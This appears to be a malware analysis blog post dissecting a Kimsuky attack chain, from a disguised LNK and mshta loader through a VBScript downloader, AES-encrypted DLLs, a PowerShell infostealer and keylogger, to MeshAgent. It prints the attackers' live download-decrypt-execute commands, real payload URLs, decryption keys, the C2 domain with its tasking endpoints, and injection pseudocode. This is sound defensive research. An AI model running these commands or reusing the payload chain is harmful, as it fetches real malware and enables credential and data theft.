Post

Kimsuky A Stealer With MeshAgent

Kimsuky A Stealer With MeshAgent

1. Executive Summary

The analyzed artifact is a ZIP-delivered Windows shortcut downloader masquerading as a text document and paired with a PDF lure. The local execution objective is remote payload retrieval through mshta.exe, launched by PowerShell -EncodedCommand embedded in a .lnk file.

The sample targets Microsoft Windows hosts with PowerShell and MSHTML execution support. The initial local evidence confirms an execution chain from the LNK to PowerShell and then to mshta.exe with an HTTPS callback to link24[.]kr., later retrieved stages provide the native loader, infostealer, keylogger, and MeshAgent.

This specific Kimsuky malware variant utilizes the MeshAgent framework to establish communication with its Command and Control (C2) infrastructure and exfiltrate targeted files. This behavior aligns closely with the attack patterns observed across other variants within the same malware family.

For comparison, the diagram below illustrates the workflow of a Kimsuky variant documented last year.

Image source: [Cyber Threat Analysis] Kimsuky attack disguised as sex offender notification. https://logpresso.com/en/blog/2025-09-22-kimsuky-attack. Published September 22, 2025.

2. Static Analysis

PDF Lure

The PDF begins with a valid %PDF-1.7 header. Static marker scanning did not identify /JavaScript, /JS, /OpenAction, /AA, /Launch, /URI, /EmbeddedFile, or /AcroForm tokens. Based on local evidence, the PDF is assessed as a lure/decoy rather than the execution vector.

LNK Structure

The LNK header is valid:

1
2
3
4
5
6
7
HeaderSize:      0x0000004C
ShellLink CLSID: 00021401-0000-0000-c000-000000000046
LinkFlags:       0x000840E7
FileAttributes:  0x00000020
Created:         2025-09-09 19:41:00 UTC
Accessed:        2025-09-09 19:41:00 UTC
Modified:        2025-09-09 19:41:00 UTC

Recovered strings show the shortcut targets PowerShell and uses text-file masquerading:

1
2
3
4
5
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Text File
C:\Windows\System32\imageres.dll
%SystemRoot%\System32\imageres.dll
C:\Windows\System32\cmd.exe

Embedded PowerShell argument:

1
-e IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAbQBzAGgAdABhACAAIABoAHQAdABwAHMAOgAvAC8AbABpAG4AawAyADQALgBrAHIALwAxAHkAMABtAFoAVABjAA==

Decoded UTF-16LE payload:

1
               mshta  https://link24.kr/1y0mZTc

Execution Components

  • powershell.exe: command interpreter and encoded-command launcher.
  • mshta.exe: remote HTA/script retrieval and execution through MSHTML.

3. Initial Execution Flow

Execution Flow

  1. User opens [non-ASCII].txt.lnk, likely believing it is a text file due to the .txt.lnk double-extension pattern and imageres.dll text-file icon metadata.
  2. Explorer invokes the LNK target:
1
2
explorer.exe
  -> powershell.exe -e <Base64 UTF-16LE command>
  1. PowerShell decodes and executes:
1
mshta https://link24.kr/1y0mZTc
  1. mshta.exe initiates an HTTPS request to link24.kr over TCP/443 and attempts to retrieve remote HTA, HTML, scriptlet, or script content.
  2. If the remote resource is active and returns executable script, mshta.exe may execute JScript/VBScript in-process, instantiate COM objects, launch additional LOLBins, or download a second-stage payload.

Process Tree Hypothesis

1
2
3
explorer.exe
- powershell.exe -e IAAgACAA...
    - mshta.exe https://link24.kr/1y0mZTc

4. Deep Dive: Reverse Engineering & Code Analysis

Launcher Logic

The local execution logic is contained in the LNK metadata and PowerShell argument. The shortcut uses a direct interpreter chain instead of embedding a native payload.

Reconstructed launcher pseudocode:

1
2
3
4
5
6
7
8
9
10
int on_lnk_open(void) {
    ShellExecuteW(
        NULL,
        L"open",
        L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
        L"-e IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAbQBzAGgAdABhACAAIABoAHQAdABwAHMAOgAvAC8AbABpAG4AawAyADQALgBrAHIALwAxAHkAMABtAFoAVABjAA==",
        NULL,
        SW_SHOWNORMAL
    );
}

Decoded command:

1
mshta https://link24.kr/1y0mZTc

C2 / Staging Protocol

1
2
3
Initial URL:      https://link24.kr/1y0mZTc
Execution client: mshta.exe
Transport:        TLS over TCP/443

5. Continuation: Retrieved VBScript Stage pwko.vba

Scope

The file pwko.vba was provided as the payload retrieved from https://link24.kr/1y0mZTc. Static inspection shows it is an HTA-compatible VBScript document, not a native PE and not an Office VBA project. The script starts with:

1
<script language="VBScript">

This aligns with the first-stage mshta.exe execution path.

6. Second-Stage Static Analysis

The script uses arithmetic Chr() construction to hide all operational strings. Example pattern:

1
2
3
4
ss = chr(-65756+CLng("&H10133"))
ss = ss & chr(3966404/CLng("&Hbaac"))
...
Set oShell = CreateObject(ss)

Static deobfuscation resolves ss at line 16 to: WScript.shell

The script then invokes WScript.Shell.Run and WScript.Shell.Exec to drive cmd.exe, curl.exe, sc.exe, powershell.exe, and rundll32.exe.

Recovered Command Sequence

  1. Download and open password.txt:
1
cmd /c cd /d %temp% && curl -L -o password.txt "https://drive.google.com/uc?export=download&id=1u0g1doVUDc5VCeP653aze60SGlhs3efQ" && password.txt
  1. Query Microsoft Defender service state:
1
cmd /c sc query WinDefend
  1. If the WinDefend query output contains STOPPED, download user.txt:
1
cmd /c cd /d %localappdata% && curl -L -o user.txt "https://drive.google.com/uc?export=download&id=1x9mkl4q9ZU8_hDPNF5w0Mu8ePxVWI5VJ"
  1. Download, decrypt, and execute DLL payload:
1
cmd /c cd /d %localappdata% && curl -L -o sys.log "https://drive.google.com/uc?export=download&id=116azn_9bUov3mkSORbPk8_4zIVVNBHZn" && powershell -Command "[System.IO.File]::WriteAllBytes('sys.dll', (New-Object System.Security.Cryptography.AesManaged).CreateDecryptor([System.Text.Encoding]::UTF8.GetBytes('ftrgmjekglgawkxjynqrwxjvjsydxgjc'), [System.Text.Encoding]::UTF8.GetBytes('rhmrpyihmziwkvln')).TransformFinalBlock([System.IO.File]::ReadAllBytes('sys.log'), 0, [System.IO.File]::ReadAllBytes('sys.log').Length))" && del sys.log && rundll32 sys.dll,k
  1. Download, decrypt, expand, and execute PowerShell payload:
1
cmd /c cd /d %localappdata% && curl -L -o pipe.log "https://drive.google.com/uc?export=download&id=1jqpw8UHpsY5ps3nKOfkyo2ql4hC23Mew" && powershell -Command "[System.IO.File]::WriteAllBytes('pipe.zip', (New-Object System.Security.Cryptography.AesManaged).CreateDecryptor([System.Text.Encoding]::UTF8.GetBytes('ftrgmjekglgawkxjynqrwxjvjsydxgjc'), [System.Text.Encoding]::UTF8.GetBytes('rhmrpyihmziwkvln')).TransformFinalBlock([System.IO.File]::ReadAllBytes('pipe.log'), 0, [System.IO.File]::ReadAllBytes('pipe.log').Length))" && del pipe.log && powershell Expand-Archive -Path pipe.zip && del pipe.zip
  1. Execute extracted PowerShell script:
1
cmd /c cd /d %localappdata% && cd pipe && powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File 1.ps1 -FileName 1.log

AES Payload Decryption

The script uses .NET System.Security.Cryptography.AesManaged through PowerShell to decrypt the downloaded blobs.

ParameterValue
AlgorithmAES via .NET AesManaged
ModeCBC by default for AesManaged unless overridden; no override observed
PaddingPKCS7 by default for AesManaged unless overridden; no override observed
Keyftrgmjekglgawkxjynqrwxjvjsydxgjc
Key length32 bytes / AES-256
IVrhmrpyihmziwkvln
IV length16 bytes
Ciphertext inputssys.log, pipe.log
Plaintext outputssys.dll, pipe.zip

Pseudocode reconstruction:

1
2
3
4
5
6
7
8
key = b"ftrgmjekglgawkxjynqrwxjvjsydxgjc"
iv  = b"rhmrpyihmziwkvln"

sys_dll  = AES_256_CBC_PKCS7_Decrypt(read("%LOCALAPPDATA%\\sys.log"), key, iv)
pipe_zip = AES_256_CBC_PKCS7_Decrypt(read("%LOCALAPPDATA%\\pipe.log"), key, iv)

write("%LOCALAPPDATA%\\sys.dll", sys_dll)
write("%LOCALAPPDATA%\\pipe.zip", pipe_zip)

Anti-Analysis / Environment Logic

The script performs a service-state check:

1
sc query WinDefend

It reads StdOut and gates the user.txt download on:

1
If InStr(output, "STOPPED") > 0 Then

This is not a full sandbox check, but it is environment-aware branching tied to Microsoft Defender service state. The script does not contain native anti-debugging, anti-VM, or anti-disassembly routines.

7. VBScript Execution Flow

If the first-stage LNK is opened and the remote link24.kr resource serves pwko.vba, the likely process tree becomes:

1
2
3
4
5
6
7
8
9
explorer.exe
- powershell.exe -e IAAgACAA...
    - mshta.exe https://link24.kr/1y0mZTc
        - cmd.exe /c cd /d %temp% && curl ... password.txt && password.txt
        - cmd.exe /c sc query WinDefend
        - cmd.exe /c cd /d %localappdata% && curl ... user.txt       [conditional]
        - cmd.exe /c cd /d %localappdata% && curl ... sys.log && powershell ... && rundll32 sys.dll,k
        - cmd.exe /c cd /d %localappdata% && curl ... pipe.log && powershell ... Expand-Archive ...
        - cmd.exe /c cd /d %localappdata% && cd pipe && powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File 1.ps1 -FileName 1.log

The chain stages at least two encrypted payloads. The first is a DLL executed with export/function name k; the second is a ZIP archive containing a PowerShell payload and companion log/config file.


8. Decryption and Archive Expansion

The previously recovered AES parameters successfully decrypted both staged blobs:

1
2
sys.log  -> sys.dll   (199,680 bytes)
pipe.log -> pipe.zip  (15,431 bytes)

pipe.zip contains:

1
2
3
4
pipe.zip
- 1.log
- 1.ps1
- 2.log

1.ps1 is a minimal Base64 loader:

This decodes and executes 1.log or 2.log. Static decoding produced decoded_1.ps1 and decoded_2.ps1.

9. Native DLL Stage: sys.dll

PE Characteristics

1
2
3
4
5
6
7
8
9
10
11
Type:              PE32+ DLL
Architecture:      x64
Machine:           0x8664
Sections:          7
ImageBase:         0x180000000
EntryPoint RVA:    0x0000CF7C
Subsystem:         Windows GUI
Characteristics:   0x2022
DllCharacteristics:0x0140
Export DLL name:   baby.dll
Exported symbol:   k

Section table:

SectionVAVirtual SizeRaw SizeCharacteristicsEntropy
.text0x10000x204AA0x206000x600000206.4260
.rdata0x220000x970D0x98000x400000404.8010
.data0x2C0000x4BD00x20000xC00000403.4755
.pdata0x310000x1CBC0x1E000x400000407.8678
.gRy0x330000x222C0x24000x680000205.6184
.rsrc0x360000x1B20x2000x400000404.4745
.reloc0x370000x5000x6000x420000405.0027

The nonstandard executable section .gRy and high .pdata entropy are anomalous. No known packer signature was confirmed from static headers alone.

Imports and Capability Surface

Suspicious imports include:

DLLAPIsAssessment
WININET.dllInternetOpenA, InternetOpenUrlA, InternetReadFile, DeleteUrlCacheEntry, InternetCloseHandleHTTP(S) retrieval and cache cleanup.
KERNEL32.dllCreateProcessA, VirtualAlloc, VirtualProtect, VirtualProtectEx, WriteProcessMemory, ReadProcessMemory, GetThreadContext, SetThreadContext, Wow64GetThreadContext, Wow64SetThreadContext, ResumeThread, OpenProcess, TerminateProcess, CreateThreadProcess injection / hollowing-capable API set.
KERNEL32.dllCreateMutexA, GetNativeSystemInfo, Sleep, GetEnvironmentVariableA, CopyFileA, DeleteFileASingle-instance control, environment discovery, staging, cleanup.
ADVAPI32.dllRegOpenKeyExA, RegCloseKeyRegistry probing.
SHELL32.dllSHGetSpecialFolderPathA, ShellExecuteAKnown-folder resolution and process/file launch.

Recovered strings:

1
2
3
4
5
6
7
8
9
10
11
SOFTWARE\VMware, Inc.\VMware Tools
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
\Taskmgr.exe
%s\Temp\Taskmgr.exe
%s\user.txt
\Google\Chrome\Application\chrome.exe
\Microsoft\Edge\Application\msedge.exe
Virtual Protect Failed!
Writing to the remote process failed!
[ERROR] CreateProcess failed, Error =
src\pe_raw_to_virtual.cpp

Static assessment: sys.dll is a native loader/injector component. The API set and strings indicate anti-VM registry probing, staging as Taskmgr.exe, interaction with user.txt, and likely remote-process payload mapping into Chromium-family browser processes or a spawned masqueraded process.

GetSystemDirectoryA

SHGetSpecialFolderPathA

Anti-VM

10. PowerShell RAT / Infostealer Stage: decoded_1.ps1

Initialization and C2 Bootstrap

The script derives a victim ID from:

1
(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID

the output will be XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX

It creates a per-host staging directory:

1
%TEMP%\<UUID>\

It downloads an AES-encrypted C2 base URL from Google Drive:

1
hxxps://drive.google[.]com/uc?export=download&id=1FA9TvcakCgfeRdLaejIJbeoFjuI9GB6R

The same AES key/IV are used to decrypt the C2 base URL:

1
2
Key: ftrgmjekglgawkxjynqrwxjvjsydxgjc
IV:  rhmrpyihmziwkvln

Mutex and Anti-VM

Single-instance mutex:

1
zcjwmdmj

Anti-VM checks query:

1
2
3
Win32_ComputerSystem
Win32_BIOS
Win32_DiskDrive

Matched virtualization strings include:

1
2
3
4
5
6
7
8
9
10
11
Virtual
VMware
KVM
VirtualBox
VBOX
Xen
QEMU
Amazon
Google
innotek
Google PersistentDisk

On match, the script invokes its cleanup routine and exits.

Persistence

Persistence is installed via current-user Run key:

1
2
3
HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
Name:  WindowsSecurityCheck
Value: powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File %LOCALAPPDATA%\pipe\1.ps1 -FileName %LOCALAPPDATA%\pipe\1.log

Collection Capabilities

The PowerShell stage implements broad infostealer functionality:

  • Browser credential and bookmark collection from Chrome, Edge, Naver Whale, and Firefox.
  • DPAPI master-key recovery through System.Security.Cryptography.ProtectedData.Unprotect.
  • Cryptocurrency wallet extension collection from Chromium Local Extension Settings and IndexedDB paths.
  • Telegram Desktop collection from %APPDATA%\Telegram Desktop\tdata.
  • Discord collection from %APPDATA%\discord, including Local State key extraction and Local Storage\leveldb copy.
  • Windows Recent shortcut target extraction.
  • System inventory collection: OS, CPU, physical disk, volumes, processes, installed software, UAC setting, privilege level.
  • NPKI/GPKI certificate archive collection from %USERPROFILE%\AppData\LocalLow\NPKI and C:\GPKI.
  • File discovery across drives for extensions and wallet-related name patterns.

Target file extensions:

1
2
.txt, .doc, .csv, .docx, .xls, .xlsx, .pdf, .hwp, .hwpx,
.jpg, .jpeg, .png, .rar, .zip, .alz, .eml, .ldb, .log, .dat

Target filename patterns:

1
wallet, UTC--, blockchain, keystore, privatekey, metamask, phrase, ledger, myether, dcent

C2 Protocol

decoded_1.ps1 implements HTTP(S) polling against the decrypted $serverurl, using victim UUID as the primary identifier.

Endpoint PatternPurpose
$serverurl?id=$idUpload collected archives and staged files.
$serverurl?id=$id&ap=1Upload keylogger output k.log.
$serverurl$id/appkeyPoll app-key tasking.
$serverurl?id=$id&del=appkeyDelete/ack app-key tasking.
$serverurl$id/rdPoll read-file tasking.
$serverurl?id=$id&del=rdDelete/ack read-file tasking.
$serverurl$id/wrPoll write-file tasking.
$serverurl$id/<filename>Download file content for write-file tasking.
$serverurl?id=$id&del=<filename>Delete/ack downloaded file.
$serverurl$id/cmPoll command tasking.
$serverurl?id=$id&del=cmDelete/ack command tasking.

Tasking behavior:

  • rd: upload arbitrary files or zipped directories requested by the operator.
  • wr: download operator-provided files to attacker-selected paths.
  • cm: execute operator-supplied PowerShell through Invoke-Expression.
  • appkey: download and run an additional AES-encrypted DLL.

Additional App-Key DLL Stage

The script can fetch another encrypted DLL:

1
hxxps://drive.google[.]com/uc?export=download&id=15Xkvt3TwCQJERcUHSUandCigMVVxsFqr

It decrypts the blob with the same AES key/IV and runs:

1
rundll32.exe %TEMP%\appload.dll,z

This indicates at least one additional native plugin/component, likely dedicated to application credential or cookie extraction.

Example the content that they try to steal when run:

11. Keylogger Stage: decoded_2.ps1

decoded_2.ps1 defines Keylog and uses inline C# P/Invoke against user32.dll.

Imported APIs:

1
2
3
4
5
6
GetAsyncKeyState
GetKeyboardState
MapVirtualKey
ToUnicode
GetForegroundWindow
GetWindowText

Behavior:

  • Polls virtual keys from ASCII range 8..254.
  • Converts key states to Unicode with ToUnicode.
  • Records active foreground window title changes.
  • Captures clipboard content through Get-Clipboard -Raw.
  • Buffers key and clipboard/window data and writes to %TEMP%\<UUID>\k.log.
  • The main RAT uploads k.log to $serverurl?id=$id&ap=1.

12. End-to-End Behavioral Model

Static reconstruction of the complete chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
tax_refund.zip
- [non-ASCII].txt.lnk
    - powershell.exe -EncodedCommand
        - mshta.exe https://link24.kr/1y0mZTc
            - VBScript pwko.vba
                - curl -> password.txt; shell-open password.txt
                - sc query WinDefend
                - curl -> user.txt                         [conditional on WinDefend STOPPED]
                - curl -> sys.log; AES decrypt -> sys.dll; rundll32 sys.dll,k
                - curl -> pipe.log; AES decrypt -> pipe.zip; Expand-Archive
                    - powershell.exe -File 1.ps1 -FileName 1.log
                        - decode/execute 1.log -> decoded_1.ps1
                        - install HKCU Run persistence
                        - collect browser, wallet, Telegram, Discord, cert, recent-file, and system data
                        - poll C2 for rd/wr/cm/appkey tasking
                        - launch second loader instance with 2.log
                            - decode/execute 2.log -> decoded_2.ps1 keylogger

13. C2 Bootstrap and App-Key Native Plugin

Scope

Two additional artifacts referenced by decoded_1.ps1 were retrieved and placed in the analysis directory:

  • pserver.log: AES-encrypted C2 bootstrap downloaded from Google Drive ID 1FA9TvcakCgfeRdLaejIJbeoFjuI9GB6R.
  • appload.log: AES-encrypted native plugin downloaded from Google Drive ID 15Xkvt3TwCQJERcUHSUandCigMVVxsFqr.

Both blobs were decrypted offline with the previously recovered AES parameters:

1
2
Key: ftrgmjekglgawkxjynqrwxjvjsydxgjc
IV:  rhmrpyihmziwkvln

Decrypted C2 Bootstrap

pserver.log decrypts to the final C2 base URL:

1
https://lutkdd.corpsecs.com/

This value populates $serverurl in decoded_1.ps1, enabling the previously reconstructed endpoints:

1
2
3
4
5
https://lutkdd.corpsecs.com/?id=<UUID>
https://lutkdd.corpsecs.com/<UUID>/rd
https://lutkdd.corpsecs.com/<UUID>/wr
https://lutkdd.corpsecs.com/<UUID>/cm
https://lutkdd.corpsecs.com/<UUID>/appkey

The operator tasking model therefore uses Google Drive for staged payload hosting and lutkdd.corpsecs.com for victim registration, exfiltration, polling, file transfer, and command execution.

14. Native Plugin: appload.dll

PE Characteristics

1
2
3
4
5
6
7
8
9
10
11
Type:               PE32+ DLL
Architecture:       x64
Machine:            0x8664
Sections:           6
ImageBase:          0x180000000
EntryPoint RVA:     0x0000AEDC
Subsystem:          Windows GUI
Characteristics:    0x2022
DllCharacteristics: 0x0140
Export DLL name:    baby.dll
Exported symbol:    z

Section table:

SectionVAVirtual SizeRaw SizeCharacteristicsEntropy
.text0x10000x1E9E60x1EA000x600000206.4309
.rdata0x200000x920D0x94000x400000404.7664
.data0x2A0000x49500x20000xC00000403.4766
.pdata0x2F0000x1AAC0x1C000x400000405.0979
.rsrc0x310000x1B40x2000x400000405.1197
.reloc0x320000x7BC0x8000x420000404.1685

The export name baby.dll overlaps with sys.dll, but the exported symbol differs: appload.dll exports z, matching the execution command in decoded_1.ps1:

1
rundll32.exe %TEMP%\appload.dll,z

Imports and Capability Surface

appload.dll imports the same core loader/injection API family observed in sys.dll:

DLLAPIsAssessment
WININET.dllInternetOpenA, InternetOpenUrlA, InternetReadFile, DeleteUrlCacheEntry, InternetCloseHandleHTTP(S) retrieval and cache cleanup.
KERNEL32.dllCreateProcessA, VirtualAlloc, VirtualProtectEx, WriteProcessMemory, ReadProcessMemory, GetThreadContext, SetThreadContext, Wow64GetThreadContext, Wow64SetThreadContext, ResumeThread, OpenProcess, TerminateProcessProcess injection / hollowing-capable API set.
KERNEL32.dllCopyFileA, DeleteFileA, CreateFileMappingA, MapViewOfFile, UnmapViewOfFile, SleepStaging, cleanup, memory-mapped payload handling, timing.
SHELL32.dllSHGetSpecialFolderPathAKnown-folder discovery.

Recovered strings:

1
2
3
4
5
6
7
8
9
10
11
12
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
https://drive.google.com/uc?export=download&id=1EkyeoSdhvGqcEpZkqBUzXnJYPLka7zJc
\Google\Chrome\Application\chrome.exe
\Microsoft\Edge\Application\msedge.exe
\Taskmgr.exe
%s\Temp\Taskmgr.exe
%s\Temp\Taskmgr.msh
https://drive.google.com/uc?export=download&id=1rqN7zYXO0jNSsZy8gSECxSxY57T0T_xr
https://drive.google.com/uc?export=download&id=176jQJH3H3DHPzjFI-tIjrV8KLtEBgY_m
Virtual Protect Failed!
Writing to the remote process failed!
src\pe_raw_to_virtual.cpp

Static assessment: appload.dll is an additional native loader/plugin component. Its strings and import table indicate the same PE-loader/process-injection framework as sys.dll, but its execution context is explicitly tied to the PowerShell RAT’s GetAppKey routine.

The cc_appkey and ee_appkey upload logic in decoded_1.ps1, combined with browser-targeting strings in appload.dll, suggests this plugin is used to acquire application/browser keys or cookie material that the PowerShell collector later exfiltrates.

15. Updated C2 Protocol With Decrypted Base URL

The full C2 protocol can now be concretely resolved:

URLMethod / ActionPurpose
hxxps://lutkdd[.]corpsecs[.]com/?id=<UUID>Multipart uploadInitial archive, file-list archive, arbitrary file exfiltration.
hxxps://lutkdd[.]corpsecs[.]com/?id=<UUID>&ap=1Multipart uploadKeylogger output k.log.
hxxps://lutkdd[.]corpsecs[.]com/<UUID>/appkeyGETPoll app-key plugin tasking.
hxxps://lutkdd[.]corpsecs[.]com/?id=<UUID>&del=appkeyGETAcknowledge/delete app-key tasking.
hxxps://lutkdd[.]corpsecs[.]com/<UUID>/rdGETPoll read-file tasking.
hxxps://lutkdd[.]corpsecs[.]com/?id=<UUID>&del=rdGETAcknowledge/delete read-file tasking.
hxxps://lutkdd[.]corpsecs[.]com/<UUID>/wrGETPoll write-file tasking.
hxxps://lutkdd[.]corpsecs[.]com/<UUID>/<filename>GETDownload operator-provided file.
hxxps://lutkdd[.]corpsecs[.]com/?id=<UUID>&del=<filename>GETAcknowledge/delete downloaded operator file.
hxxps://lutkdd[.]corpsecs[.]com/<UUID>/cmGETPoll PowerShell command tasking.
hxxps://lutkdd[.]corpsecs[.]com/?id=<UUID>&del=cmGETAcknowledge/delete command tasking.

16. Continuation: Auxiliary Payloads Referenced by appload.dll

Scope

Three additional payload blobs referenced by appload.dll were retrieved and placed in the analysis directory:

  • app64.log from Google Drive ID 1EkyeoSdhvGqcEpZkqBUzXnJYPLka7zJc.
  • agent.log from Google Drive ID 1rqN7zYXO0jNSsZy8gSECxSxY57T0T_xr.
  • msh.log from Google Drive ID 176jQJH3H3DHPzjFI-tIjrV8KLtEBgY_m.

All three artifacts are high-entropy opaque blobs. The AES-CBC key/IV used for prior stages did not successfully decrypt these files. Static assessment is therefore limited to file identity, entropy, header bytes, correlation with appload.dll strings, and inferred runtime handling by the native plugin.

17. appload.dll Decompilation Notes

Exported Entry

1
2
3
4
Export DLL name: baby.dll
Export:          z
Export RVA:      0x00001790
Invocation:      rundll32 appload.dll,z

Export stub bytes:

1
2
3
40 55 48 8D AC 24 50 F8 FF FF 48 81 EC B0 08 00 00
48 8B 05 08 92 02 00 48 33 C4 48 89 85 A0 07 00 00
48 8D 4D 31 33 D2 41 B8 03 01 00 00 ...

The export allocates a large local frame (0x8B0) and immediately initializes several stack buffers through repeated internal calls. This is consistent with runtime construction of URLs/paths before network retrieval and staging.

Import Call-Site Highlights

High-signal call sites resolved from .text:

APICall Sites
KERNEL32!CopyFileA0x1B1E
KERNEL32!CreateFileA0x6AC1, 0x19D9A, 0x19DEF, 0x1A279
KERNEL32!CreateProcessA0x5C1C
KERNEL32!OpenProcess0x5CEC
KERNEL32!ReadProcessMemory0x6018
KERNEL32!WriteProcessMemory0x58BC
KERNEL32!VirtualAlloc0x697F, 0x7125
KERNEL32!VirtualProtectEx0x5705, 0x57F9, 0x587D
KERNEL32!GetThreadContext0x5E7D, 0x5F64
KERNEL32!SetThreadContext0x5E9B
KERNEL32!ResumeThread0x1DB1, 0x568D
KERNEL32!Wow64GetThreadContext0x5E2D, 0x5F15
KERNEL32!Wow64SetThreadContext0x5E4B
SHELL32!SHGetSpecialFolderPathA0x1858, 0x18F1, 0x1971
WININET!InternetOpenA0x1571
WININET!InternetOpenUrlA0x159C
WININET!InternetReadFile0x15E7, 0x1621
WININET!DeleteUrlCacheEntry0x187A, 0x1A83, 0x1AB3

Reconstructed Control Flow

appload.dll is the native plugin invoked by decoded_1.ps1 during the GetAppKey routine. Its embedded URLs map to app64.log, agent.log, and msh.log; its strings also reference Chrome, Edge, %TEMP%\Taskmgr.exe, and %TEMP%\Taskmgr.msh.

Decompiler-style pseudocode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// appload.dll, baby.dll!z, RVA 0x1790
void export_z(void) {
    init_stack_cookie();

    char url_app64[0x103];
    char url_agent[0x103];
    char url_msh[0x103];
    char temp_taskmgr_exe[MAX_PATH];
    char temp_taskmgr_msh[MAX_PATH];

    build_string(url_app64,
        "https://drive.google.com/uc?export=download&id=1EkyeoSdhvGqcEpZkqBUzXnJYPLka7zJc");
    build_string(url_agent,
        "https://drive.google.com/uc?export=download&id=1rqN7zYXO0jNSsZy8gSECxSxY57T0T_xr");
    build_string(url_msh,
        "https://drive.google.com/uc?export=download&id=176jQJH3H3DHPzjFI-tIjrV8KLtEBgY_m");

    temp = SHGetSpecialFolderPathA_or_temp_path();
    snprintf(temp_taskmgr_exe, "%s\\Temp\\Taskmgr.exe", temp);
    snprintf(temp_taskmgr_msh, "%s\\Temp\\Taskmgr.msh", temp);

    download_via_wininet(url_app64, local_blob_1);
    download_via_wininet(url_agent, local_blob_2);
    download_via_wininet(url_msh,   temp_taskmgr_msh);
    DeleteUrlCacheEntry(url_app64);
    DeleteUrlCacheEntry(url_agent);
    DeleteUrlCacheEntry(url_msh);

    // Exact blob transform unresolved; prior AES routine does not apply.
    transform_or_unpack_auxiliary_blobs(local_blob_1, local_blob_2, temp_taskmgr_exe, temp_taskmgr_msh);

    // Browser/application targeting.
    target_path = choose_existing(
        "%LOCALAPPDATA%\\Google\\Chrome\\Application\\chrome.exe",
        "%LOCALAPPDATA%\\Microsoft\\Edge\\Application\\msedge.exe",
        temp_taskmgr_exe
    );

    // PE loader / hollowing style execution.
    pi = CreateProcessA(target_path, ..., CREATE_SUSPENDED, ...);
    image = map_auxiliary_payload_to_virtual_image();
    remote = VirtualAllocEx_like(pi.process, image.size);
    WriteProcessMemory(pi.process, remote, image, ...);
    VirtualProtectEx(pi.process, remote, ..., executable_protection, ...);
    ctx = GetThreadContext_or_Wow64GetThreadContext(pi.thread);
    patch_entrypoint(ctx, remote + image.entry_rva);
    SetThreadContext_or_Wow64SetThreadContext(pi.thread, ctx);
    ResumeThread(pi.thread);
}

Correlation With appload.dll

appload.dll contains the three Google Drive IDs and staging strings:

1
2
3
4
5
6
7
https://drive.google.com/uc?export=download&id=1EkyeoSdhvGqcEpZkqBUzXnJYPLka7zJc
https://drive.google.com/uc?export=download&id=1rqN7zYXO0jNSsZy8gSECxSxY57T0T_xr
https://drive.google.com/uc?export=download&id=176jQJH3H3DHPzjFI-tIjrV8KLtEBgY_m
%s\Temp\Taskmgr.exe
%s\Temp\Taskmgr.msh
\Google\Chrome\Application\chrome.exe
\Microsoft\Edge\Application\msedge.exe

Based on this correlation, the likely runtime handling is:

  • One downloaded blob is transformed into a masqueraded executable at %TEMP%\Taskmgr.exe.
  • One downloaded blob is transformed into %TEMP%\Taskmgr.msh.
  • The plugin then uses its PE-loader/process-injection framework to stage or inject payload material into Chrome/Edge or a spawned Taskmgr.exe process.

This inference is supported by appload.dll imports and strings:

1
2
3
4
5
6
7
8
9
10
11
12
CreateProcessA
OpenProcess
WriteProcessMemory
ReadProcessMemory
VirtualAlloc
VirtualProtectEx
GetThreadContext
SetThreadContext
ResumeThread
src\pe_raw_to_virtual.cpp
Virtual Protect Failed!
Writing to the remote process failed!

Decrypting

In appload.dll, the relevant code is around raw offset 0x0ADF / RVA 0x16DF:

1
2
3
4
5
6
7
8
9
10
; size handling
0x0ADF / RVA 0x16DF   lea ecx, [r13-10h]      ; payload_size = file_size - 0x10
0x0AF0 / RVA 0x16F0   lea edi, [r13-10h]      ; same size kept for later

; split app64.log buffer
0x0B09 / RVA 0x1709   lea rdx, [r12+10h]      ; source = file_buffer + 0x10
0x0B11 / RVA 0x1711   movups xmm0, [r12]      ; load first 16 bytes from file_buffer
0x0B19 / RVA 0x1719   movaps [...], xmm0      ; save those 16 bytes as key material
0x0B20 / RVA 0x1720   call memcpy-like func   ; copy file_buffer+0x10, size-0x10
0x0B29 / RVA 0x1729   call decrypt wrapper    ; decrypt copied payload

decrypt wrapper calls the RC4 implementation.

That function has the RC4-looking KSA/PRGA behavior: initializes a 256-byte state array, swaps bytes, then XORs the data stream.

1
2
3
4
key = app64_log[0:16];
ciphertext = app64_log[16:];

plaintext = RC4(key).decrypt(ciphertext);
  • RCX = RC4 object/context
  • RDX = encrypted data buffer
  • R8D = data size

the first rsp will take only 32 characters

So the key of each file:

  1. app64.log = C1 49 21 C6 41 5E C1 71 A8 1F A9 F4 D7 8D 4C BA
  2. agent.log = 28 07 EE 44 7F A2 16 0F 00 57 E7 4A 9D EF F0 8A
  3. msh.log = 76 A4 EE B5 25 32 54 03 9E 0D 63 C2 3F C3 6B AC

18. End-to-End Payload Graph

1
2
3
4
5
6
7
8
9
10
decoded_1.ps1
- GetAppKey
    - download appload.log
    - AES decrypt -> appload.dll
    - rundll32.exe appload.dll,z
        - download app64.log  [browser/AppBound helper]
        - download agent.log  [MeshCentral remote-control agent]
        - download msh.log    [configuration]
        - stage %TEMP%\Taskmgr.exe / %TEMP%\Taskmgr.msh
        - inject/load into browser or masqueraded Taskmgr process

The broader chain now consists of:

1
2
LNK -> PowerShell -> mshta -> VBScript -> sys.dll + PowerShell RAT/keylogger
                                      - appload.dll -> auxiliary encrypted blobs

19. Final Stage: MeshAgent

FileSizeRole
